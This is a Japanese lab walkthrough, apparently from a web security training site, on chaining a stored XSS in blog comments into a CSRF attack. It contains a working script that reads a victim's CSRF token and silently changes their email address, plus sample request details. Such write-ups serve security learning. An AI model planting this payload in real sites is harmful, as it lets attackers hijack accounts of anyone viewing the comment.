Hello there, ('ω')ノ
XSSを活用してCSRFを実行を。
このラボではブログのコメント機能に脆弱性があって。
脆弱性を悪用してCSRF攻撃 で、ブログ投稿のコメントを表示する人の。
電子メールアドレスを変更せよと。
まずは、ログインして。
アカウントページで、メールアドレスを更新できて。
ソースコードにはhiddenの文字とcsrfトークンが。
下記のスクリプトを投稿することに。
サーバと対話してデータを取得するためにXMLHttpRequestオブジェクトを作成して。
受信が成功したら、handleResponse()がよびだされて。
handleResponse()では、トークンを取得して。
別途、メールアドレス変更用にXMLHttpRequestオブジェクトを作成して。
trueで、/my-account/change-emailへのリクエストを非同期指定してから。
メールアドレス変更のリクエストを送信して。
trueで、/my-accountへのリクエストを非同期指定してから。
最後に送信して。
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
クリアできた。
ブログにもどって。
My Accountを確認すると、wienerのメールアドレスが変更されていて。
コメントを表示した人はPOSTリクエストを発行して。
メールアドレスがtest@test.comに変更されるわけで。
メールアドレスが変更される動作を振り返ってみると。
ログインして、My Accountへアクセスすると下記のURLで。
https://ac571fd41edf42e180cf07400076008a.web-security-academy.net/my-account?id=wiener
リクエストボディは以下のようで。
Updateすると、下記のURLが呼ばれて。
POST /my-account/change-email
リクエストボディには、下記のトークンが。
email=user%40mail.com&csrf=HiiS8sBzu6Ns1axfMssZUXakWJlhIKl0
ログインの際には。
Log inから下記のURLが呼ばれて。
これがスクリプトの流れで。
GET /my-account
Best regards, (^^ゞ